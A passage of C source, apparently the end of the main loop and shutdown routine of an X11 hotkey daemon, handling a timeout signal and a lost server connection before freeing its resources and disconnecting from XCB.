if (bell) {
signal(SIGALRM, hold);
abort_chain();
if (status_fifo != NULL)
put_status(TIMEOUT_PREFIX, "Timeout reached");
bell = false;
}
if (xcb_connection_has_error(dpy)) {
warn("The server closed the connection.\n");
running = false;
}
}
if (redir_fd != -1)
close(redir_fd);
if (status_fifo != NULL)
fclose(status_fifo);
ungrab();
cleanup();
destroy_chord(escape_chord);
xcb_key_symbols_free(symbols);
xcb_disconnect(dpy);
return EXIT_SUCCESS;
}
